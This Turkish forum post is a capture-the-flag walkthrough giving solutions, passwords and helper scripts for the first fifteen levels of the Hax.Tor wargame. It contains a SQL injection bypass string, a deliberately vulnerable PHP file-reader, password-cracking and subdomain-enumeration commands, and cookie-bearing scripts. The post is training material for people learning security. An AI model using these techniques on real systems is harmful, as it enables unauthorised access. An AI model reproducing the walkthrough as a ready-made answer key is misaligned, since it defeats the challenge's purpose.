Hax.Tor CTF Tam Çözüm [1..5/1..15]

[COLOR=lemonchiffon]https://hax.tor.hu/welcome/[/COLOR]

[COLOR=lemonchiffon]function a(){
    thepw = 'warmup1';
    thepw = thepw+'lol';
    thepw = thepw + 'copter';
    if (docu.ment.loc.ation.lf.pw.value==thepw) {
        docu.ment.loc.ation = '/'+thepw; } else { alert('That is not correct. Please try again.');
    }
}[/COLOR]

[COLOR=lemonchiffon]<select class="select" name="chosen">
<option value="Apple">Apple</option>
<option value="Lemon">Lemon</option>
<option value="Mango">Mango</option>
<option value="Orange">Orange</option>
</select>[/COLOR]

[COLOR=lemonchiffon]The password is: spaceship[/COLOR]

[COLOR=lemonchiffon]Hash    68 230 82 128 91 214 86 24 90 204
Should be    83 230 69 128 66 214 89 24 92 204[/COLOR]

[COLOR=lemonchiffon]Hash    68 230 86 128 91 214 86 24 90 204
Should be    83 230 69 128 66 214 89 24 92 204[/COLOR]

[COLOR=lemonchiffon]Broken level - type 'next' to continue[/COLOR]

[COLOR=lemonchiffon]john.exe --format=DES hash.txt[/COLOR]

[COLOR=lemonchiffon]>>> import base64, binascii
>>> Degerler = []
>>> Deger = base64.b64decode("".join("V m 0 w d 2 Q y U X l V W G x X Y T F w T 1 Z s Z G 9 W R m x 0 Z U V 0 W F J t e F Z V M j A 1 V j A x V 2 J E T l h h M k 0 x V j B a S 2 M y S k V U b G h o T W s w e F Z t c E d T M k 1 5 U 2 t W V W J H a G 9 U V 3 N 3 Z U Z a d G N F Z F R N b E p J V m 1 0 c 2 F W S n R h R z l V V m 1 o R F Z W W m F k R 0 5 G Z E Z S T l Z U V k p W b T E w Y T F k S F N r Z G p T R U p Y W V R G d 2 F G W k Z S U Q".split()) + "==")
>>> while(True):
    try:
        Padding = 4-len(Deger) % 4
        if(Padding):
            Deger += b'=' * padding
        Deger = base64.b64decode(Deger)
        Degerler.append(Deger)
    except(binascii.Error):
        print("[^^] Sonuc: ", str(Degerler[-2], 'utf-8'))
        break

    
[^^] Sonuc:  64BASE
>>>[/COLOR]

[COLOR=LemonChiffon]Level temporarily broken, just enter 'continue' for now.[/COLOR]

[COLOR=lemonchiffon]$ python theHarvester.py -d tor.hu -l 100 -b google
...output
188.227.224.116:hax.tor.hu
188.227.224.116:www.hax.tor.hu
188.227.224.116:game.tor.hu
...output[/COLOR]

[COLOR=lemonchiffon]$uname = $_GET['user'];
$pass = $_GET['pass'];
$query = "SELECT * FROM users WHERE pass = 'pass' AND uname = '$uname'";
..code[/COLOR]

[COLOR=lemonchiffon]SELECT * FROM users WHERE pass = 'abbas' OR '1' = '1' AND uname = 'test' OR '1' = '1'[/COLOR]

[COLOR=lemonchiffon]For example to encrypt the character "p":
(ASCII is 70 hex):
70 is expanded to 70 00
After the swap the result is: 07 00
XOR with A5: A2 A5

Hence to decrypt it, we will take the odd bytes, XOR with A5, and swap the higher and lower 4 bits.
Take A2
XOR with A5: A2 XOR A5 = 07
Swap: 7 becomes 70.[/COLOR]

[COLOR=lemonchiffon]>>> str(codecs.decode("".join([str(i[::-1]).replace('x0', '') for i in list(map(hex, [i ^ 0xa5 for i in [0xb1, 0x93, 0xe2, 0xf6, 0xc6, 0xb6, 0x11, 0xf3, 0x32]]))]), "hex_codec"), 'utf-8')
'Act561Key'
>>> [/COLOR]

[COLOR=lemonchiffon]oops, directory needs .hu host to see[/COLOR]

[COLOR=lemonchiffon]GHDB Dork: web proxy site:hu[/COLOR]

[COLOR=lemonchiffon]x.1/6 - x.1/8 = 120
x/6 - x/8 = 120[/COLOR]

[COLOR=lemonchiffon]4x/24 - 3x/24 = 120
(4x - 3x)/24 = 120
x/24 = 120
1.x = 124.24
x = 2880 = Bayrak[/COLOR]

[COLOR=lemonchiffon]N onem w ondm hk-onkm * N rwem kh vmkvm hd inpm * Nkvnxm w owc woo xwq * N'em woswqv cmmk irnv swq * N'p w gmma * N'p w gmma * Hr rh N'p w gmma * Ghhx Ohux N'p w gmma. *** Irm jwvvshux nv snoxirnkg
E metg v mewg xi-meig * E svtg ix jgijg xw rekg * Eijelg v mva vmm lvn * E'tg vmcvnj aggi rsej cvn * E'k v bggf * E'k v bggf * Xs sx E'k v bggf * Bxxl Mxhl E'k v bggf. *** Rsg uvjjcxhl ej cemlrseib [/COLOR]

[COLOR=lemonchiffon]Cqs vrkkwoeh dk wdnhcqdyi
??? ???????? ?? ?????????
the *assword is wildthing[/COLOR]

[COLOR=lemonchiffon]>>> import hashlib, requests, re
>>> def Main(Cookie):
    URL = "https://hax.tor.hu/level11/"
    Headers = {'Cookie' : Cookie,
           'Accept-Encoding' : 'gzip, deflate',
           'Accept-Language' : 'tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3',
           'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
           'User-Agent' : 'AbbasWasH3re'}
    Source = requests.get(URL, timeout=10, headers=Headers, verify=False)
    BTag = re.findall(r"<b>(.*?)</b>", str(Source.content))
    Hash = hashlib.md5("".join(str(BTag[12]).split()).encode('utf-8')).hexdigest()
    requests.get(URL + "/?pw={0}".format(Hash), timeout=10, headers=Headers, verify=False)

    
>>> Main("HAXTOR=at1n2e3304s389lsc2bafb21o1")[/COLOR]

[COLOR=lemonchiffon]<?
    header("Content-Type: text/plain");        // give back plaintext ********

    $file = $_REQUEST['file'];                // filename
    $file = ereg_replace(":",'',$file);        // filter http:// ftp:// etc
    $file = ereg_replace("\.\.",'',$file);    // filter .. in filename 
    if (!file_exists($file) || is_dir($file)) { exit; }        // directories not allowed
    
    [USER=244671]Read[/USER]file($file);        // show contents
?>[/COLOR]

[COLOR=lemonchiffon]Konfigürasyon dosyasının çekildiği blok;
function get_config() {
        ..code
        $rawconf = [USER=46540]file[/USER](".htconfig");        // some config vars read from .htconfig
        ..code
}

Dosya içeriği;
base /www/hax.tor.hu/www/level13/login/
userdir udir
fundir fundir[/COLOR]

[COLOR=lemonchiffon]>>> import re
>>> def Bolucu(String):
    return("\n".join([i for i in re.findall(r'.{1,32}', "".join(String.split()), re.DOTALL)]))

>>> print(Bolucu("9 e 9 2 5 e 9 3 4 1 b 4 9 0 b f d 3 b 4 c 4 c a 3 b 0 c 1 e f 2 0 7 c c 6 9 4 b 9 b 3 f c 6 3 6 7 1 0 f a 0 8 b 6 9 2 2 c 4 2 b e 2 a 7 1 0 6 f 1 c c 8 b b 1 e 1 3 1 8 d f 7 0 a a 0 a 3 5 4 0 c 2 0 a d 4 d 7 6 f e 9 7 7 5 9 a a 2 7 a 0 c 9 9 b f f 6 7 1 0 8 9 7 5 9 e 1 2 8 4 e 2 4 7 9 b 9 9 1 d 2 6 6 9 d e 1 0 4 9 4 2 "))
9e925e9341b490bfd3b4c4ca3b0c1ef2
07cc694b9b3fc636710fa08b6922c42b
e2a7106f1cc8bb1e1318df70aa0a3540
c20ad4d76fe97759aa27a0c99bff6710
89759e1284e2479b991d2669de104942
>>>[/COLOR]

[COLOR=LemonChiffon]9e925e9341b490bfd3b4c4ca3b0c1ef2 MD5 : this
07cc694b9b3fc636710fa08b6922c42b MD5 : time
e2a7106f1cc8bb1e1318df70aa0a3540 MD5 : enter
c20ad4d76fe97759aa27a0c99bff6710 MD5 : 12
89759e1284e2479b991d2669de104942 MD5 : words[/COLOR]